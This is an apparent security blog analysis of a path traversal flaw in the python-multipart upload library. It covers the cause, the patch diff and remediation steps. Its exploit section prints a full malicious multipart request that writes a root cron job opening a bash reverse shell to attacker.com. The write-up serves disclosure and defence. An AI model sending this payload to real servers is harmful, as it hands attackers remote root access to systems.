CVE-2026-24486

Absolute Chaos: The Path Traversal Vulnerability in Python-Multipart (CVE-2026-24486)

Alon Barad
Alon Barad
Software Engineer

Jan 27, 2026·7 min read·6 visits

Executive Summary (TL;DR)

If you are using `python-multipart` (common in FastAPI/Starlette) with custom upload configurations (`UPLOAD_KEEP_FILENAME=True`), an attacker can overwrite any file on your server by simply sending a malicious filename (e.g., `/etc/passwd`). The fix is to upgrade to version 0.0.22, which sanitizes filenames using `os.path.basename`.

A high-severity path traversal vulnerability in the widely used `python-multipart` library allows attackers to overwrite arbitrary files on the host system. This flaw exploits a specific behavior in Python's `os.path.join` function when handling absolute paths in multipart file uploads.

The Hook: The Treacherous Friend We Call `os.path.join`

We often think of vulnerabilities as complex buffer overflows or intricate logic errors deep within a custom protocol. But sometimes, the most devastating bugs come from simply misunderstanding the tools we use every day. CVE-2026-24486 is one of those bugs. It resides in python-multipart, a library that effectively powers the modern Python web ecosystem (looking at you, FastAPI and Starlette). If you handle file uploads in Python, you are likely using this code.

Here is the scenario: You decide to build a file upload feature. You want to store user files in a specific directory, say /var/www/uploads. You painstakingly configure your permissions. You set up a nice UPLOAD_DIR. You feel safe. You shouldn't.

The vulnerability isn't a buffer overflow; it's a fundamental misunderstanding of how Python's standard library handles paths. Specifically, it exploits the behavior of os.path.join. For years, developers have treated this function as a magical glue that safely sticks path components together. In reality, it has a "feature" that, when combined with user input, becomes a catastrophic security flaw. This isn't just about reading a file you shouldn't; it's about overwriting the operating system itself.

The Flaw: When Absolute Power Corrupts Absolutely

To understand this exploit, you have to look at the documentation for Python's os.path.join. It states: "If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component."

Read that again. It sounds helpful, right? If I try to join /home/user and /usr/bin, I probably meant /usr/bin. But in the context of a web server handling untrusted input, this behavior is lethal.

In python-multipart, the code logic for saving an uploaded file looked something like this (simplified):

# The intended safe directory
upload_dir = b"/var/www/uploads"
 
# The user-supplied filename from the Content-Disposition header
filename = b"/etc/cron.d/pwned"
 
# The fatal mistake
final_path = os.path.join(upload_dir, filename)

Because the attacker controls the filename and supplies an absolute path starting with /, Python faithfully discards /var/www/uploads. The final_path becomes /etc/cron.d/pwned. The library then proceeds to write the attacker's data to that location.

This is the digital equivalent of locking your front door with a deadbolt, but designing the frame so that if someone pushes hard enough, the entire wall falls down. The lock (your UPLOAD_DIR configuration) becomes irrelevant because the attacker just bypasses the wall entirely.

The Code: The Smoking Gun (Commit 9433f4b)

Let's look at the actual code diff. The fix, implemented in commit 9433f4bbc9652bdde82bbe380984e32f8cfc89c4, is embarrassingly simple. It highlights just how fragile the previous implementation was.

The vulnerable code in python_multipart/multipart.py was blindly trusting the filename provided in the multipart headers. The patch introduces os.path.basename, which strips directory paths and returns only the file name itself.

The Vulnerable Code (Before)

if file_name is not None:
    base, ext = os.path.splitext(file_name)
    self._file_base = base
    self._ext = ext

The Patched Code (After)

if file_name is not None:
    # Extract just the basename to avoid directory traversal
    basename = os.path.basename(file_name)
    base, ext = os.path.splitext(basename)
    self._file_base = base
    self._ext = ext

That one line—basename = os.path.basename(file_name)—is all that stands between a secure server and a root shell. Without it, the file_name variable carries the full directory structure the attacker provided. By stripping it down to the basename, /etc/cron.d/pwned becomes just pwned, which is then safely joined to the upload directory.

The Exploit: Crafting the Perfect Payload

Exploiting this requires a specific configuration, but it's a common enough setup for "power users" of the library. We need three stars to align:

  1. UPLOAD_DIR must be set (telling the library to save to disk).
  2. UPLOAD_KEEP_FILENAME must be True (telling the library to use our filename).
  3. The file size must exceed MAX_MEMORY_FILE_SIZE (forcing a flush to disk).

If these conditions are met, we can achieve arbitrary file write. Let's create a Remote Code Execution (RCE) scenario by overwriting a cron job.

Step 1: The Setup

We assume the target server is running a Python web app vulnerable to this CVE. We want to write a file to /etc/cron.d/malicious.

Step 2: The Request

We construct a multipart/form-data POST request. The key is the filename parameter in the Content-Disposition header.

POST /upload HTTP/1.1
Host: target-server.com
Content-Type: multipart/form-data; boundary=---------------------------1337
 
-----------------------------1337
Content-Disposition: form-data; name="file"; filename="/etc/cron.d/shell"
Content-Type: text/plain
 
* * * * * root bash -c 'bash -i >& /dev/tcp/attacker.com/443 0>&1'
[... padding to exceed MAX_MEMORY_FILE_SIZE ...]
-----------------------------1337--

Step 3: The Execution

The server receives the request. It parses the headers. It sees UPLOAD_KEEP_FILENAME is on. It joins the configured upload dir with /etc/cron.d/shell. Python discards the upload dir. The server starts receiving the body. Since we padded it to be larger than the memory buffer (usually 1MB), the library opens a file handle to /etc/cron.d/shell and starts dumping our reverse shell payload directly into the system's cron directory.

Step 4: The Shell

One minute later, the system cron daemon wakes up, sees the new file, and executes our command as root. Game over.

The Impact: Why You Should Panic

Arbitrary File Write is often overlooked compared to Command Injection, but in the hands of a competent attacker, they are functionally identical.

Remote Code Execution (RCE): As demonstrated, writing to /etc/cron.d/, ~/.ssh/authorized_keys, or overwriting web server configuration files (like uwsgi.ini or .bashrc) leads to immediate code execution.

Denial of Service (DoS): An attacker could overwrite critical system binaries or boot configurations. Imagine overwriting /bin/ls or the kernel image with garbage data. The next time the admin types ls or reboots the server, the system bricks.

Data Corruption: If the application relies on a database file (like SQLite) or a configuration file residing on disk, an attacker can corrupt it, effectively taking the application offline or altering its behavior to bypass authentication.

The only mitigating factor here is permission. The web server process should be running as a low-privilege user (like www-data). If it is, the attacker can only write to locations writable by that user. However, if you are running your container as root (don't lie, I know you are), this is an instant system compromise.

The Fix: Stopping the Bleeding

The remediation is straightforward, but it requires action. The maintainers of python-multipart released version 0.0.22 which includes the os.path.basename sanitization.

1. Update Immediately

Run the following in your environment:

pip install --upgrade python-multipart

Verify the installed version is >= 0.0.22.

2. Configuration Audits

Check your application code. Do you really need UPLOAD_KEEP_FILENAME = True?

If you set this to False (which is the default), python-multipart generates a random UUID for the filename (e.g., upload_8f9d...). This renders the path traversal useless because the attacker's filename is ignored entirely. Only enable KEEP_FILENAME if you have a strict business requirement and have verified you are on a patched version.

3. Least Privilege

Ensure your WSGI/ASGI server is NOT running as root. If the process is confined to a user that cannot write to /etc/ or /usr/bin/, the impact of this vulnerability drops from "Critical" to "Annoying".

Fix Analysis (1)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Affected Systems

python-multipart < 0.0.22FastAPI applications using python-multipart with custom upload configStarlette applications using python-multipart with custom upload config

Affected Versions Detail

Product
Affected Versions
Fixed Version
python-multipart
Kludex
< 0.0.220.0.22
AttributeDetail
CWE IDCWE-22 (Path Traversal)
CVSS v3.18.6 (High)
Attack VectorNetwork (AV:N)
ImpactArbitrary File Write / RCE
Affected ComponentMultipartParser
Patch Commit9433f4bbc9652bdde82bbe380984e32f8cfc89c4
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Vulnerability Timeline

CVE Published
2026-01-27
Patch Released (v0.0.22)
2026-01-27

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.